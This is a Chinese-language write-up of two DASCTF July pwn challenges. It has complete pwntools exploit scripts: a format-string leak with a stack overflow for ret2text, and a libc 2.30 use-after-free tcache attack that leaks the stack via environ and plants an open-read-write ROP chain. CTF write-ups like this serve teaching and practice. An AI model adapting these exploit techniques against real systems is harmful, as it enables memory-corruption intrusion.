DASCTF 7月部分pwn

做了pwn1跟pwn3,pwn2没做出来(俺是废物)…

pwn1

签到题,但是我们要记住

.text:080485F8                 mov     eax, 0
.text:080485FD                 mov     ecx, [ebp+var_4]
.text:08048600                 leave
.text:08048601                 lea     esp, [ecx-4]
.text:08048604                 retn

32位的main的最后有一个将ebp转为esp的代码,如果你栈溢出破坏了ebp,会导致[ecx-4]报错,
因此这个题的做法也很简单,利用格式化字符串漏洞泄露ebp,然后通过gets来进行ret2text

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./qiandao')

	else:
		p = remote(ip,port)
	#gdb.attach(p,"b *0x80485F0")
	p.sendlineafter("your name:\n","%2$p")
	p.recvuntil("0x")
	addr=int(p.recv(8),16)
	p.sendlineafter(" problem?\n","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa"+p32(addr+4)+p32(0x804857D))
	
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10013,0)

payload那一坨aaa是我测试偏移的时候写的,懒得改了

bigbear

这个是个libc2.30下的UAF。不一样的是开启了沙盒保护,
常规的做法是利用UAF更改free_hook令free_hook指向setcontext里的某一段汇编,具体在libc里的代码为

.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]

以上为libc2.27的代码,如图,我们只要能控制rdi与rdi往下的一段内存空间,我们就能控制所有寄存器。
但是在libc2.30里,我们发现事情没有辣么简单

.text:000000000005803D                 mov     rsp, [rdx+0A0h]
.text:0000000000058044                 mov     rbx, [rdx+80h]
.text:000000000005804B                 mov     rbp, [rdx+78h]
.text:000000000005804F                 mov     r12, [rdx+48h]
.text:0000000000058053                 mov     r13, [rdx+50h]
.text:0000000000058057                 mov     r14, [rdx+58h]
.text:000000000005805B                 mov     r15, [rdx+60h]
.text:000000000005805F                 test    dword ptr fs:48h, 2
.text:000000000005806B                 jz      loc_58126
.text:0000000000058071                 mov     rsi, [rdx+3A8h]
.text:0000000000058078                 mov     rdi, rsi
.text:000000000005807B                 mov     rcx, [rdx+3B0h]

我们发现在libc2.30里面,原来是rdi的变成了rdx(libc.2.29以后就是这样的了),这直接就让控制rdx,也就是更改一个三参函数的hook。至少我是做不到的。
那么改怎么做呢,我们还是劫持返回地址来执行ORW。
首先还是利用漏洞来泄露出libc地址。
然后利用libc里面的environ结构体来泄露栈地址,
然后利用漏洞在返回地址写入ORW

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('bigbear')
p = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./bigbear')

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter(">>","1")
		p.sendlineafter("input the size:\n",str(size))
		p.sendafter("input the content:\n",content)
	def free(index):
		p.sendlineafter(">>","2")
		p.sendlineafter("Please input the idx\n",str(index))
	def show(index):
		p.sendlineafter(">>","3")
		p.sendlineafter("Please input the idx:\n",str(index))
	def edit(index,content):
		p.sendlineafter(">>","4")
		p.sendlineafter("Please input the idx\n",str(index))
		p.sendafter("input the content:\n",content)
	for i in range(8):
		add(0x90,"A"*0x90)
	add(0x140,"A"*0x140)
	add(0x140,"A"*0x140)
	add(0x100,"A"*0x140)
	add(0x140,"flag\x00".ljust(0x140,"\x00"))
	for i in range(8):
		free(i)
	show(7)
	p.recvuntil("Content:")
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	libcbase_addr=main_arena-(0x7f6190f26be0-0x00007f6190d3c000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	setcontext_addr=libcbase_addr+libc.symbols["setcontext"]
	environ_addr=libcbase_addr+(0x7fbfb459b2c0-0x7fbfb43ad000)
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	open_addr=libcbase_addr+libc.symbols["open"]
	read_addr=libcbase_addr+libc.symbols["read"]
	puts_addr=libcbase_addr+libc.symbols["puts"]
	print "main_arena=",hex(main_arena)
	edit(6,p64(environ_addr-0x10))
	add(0x90,"A"*0x10)
	add(0x90,"A"*0x10)
	show(13)
	p.recvuntil("Content:AAAAAAAAAAAAAAAA")
	stack_addr=u64(p.recv(6).ljust(8,"\x00"))
	print "stack_addr=",hex(stack_addr)
	free(9)
	free(8)
	edit(8,p64(0)+"\x20")
	free(8)
	show(8)
	p.recvuntil("Content:")
	heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0
	print "heap_addr=",hex(heap_addr)
	orw=p64(0)*2
	orw+=p64(pop_rdi_ret)+p64(heap_addr+0xb50)
	orw+=p64(pop_rsi_ret)+p64(72)
	orw+=p64(open_addr)
	orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(heap_addr+0x30)+p64(puts_addr)
	add(0x140,p64(stack_addr-0x140))
	add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))
	#gdb.attach(p,"b*read")
	add(0x140,orw+'\n')
	#p.sendlineafter(">>","5")
	p.interactive()
if __name__ == '__main__':
	pwn('buuoj.cn',20035,1)

总结

三个题还蛮不错的,第二个pwn没做出来,尴尬,这次比赛时间有点短小啊。。。
以前遇到沙盒堆总是喜欢利用setcontext来做,但是这次不行了。
(求pwn2 wp …Orz)

DASCTF 7月部分pwn_第1张图片

你可能感兴趣的:(安全)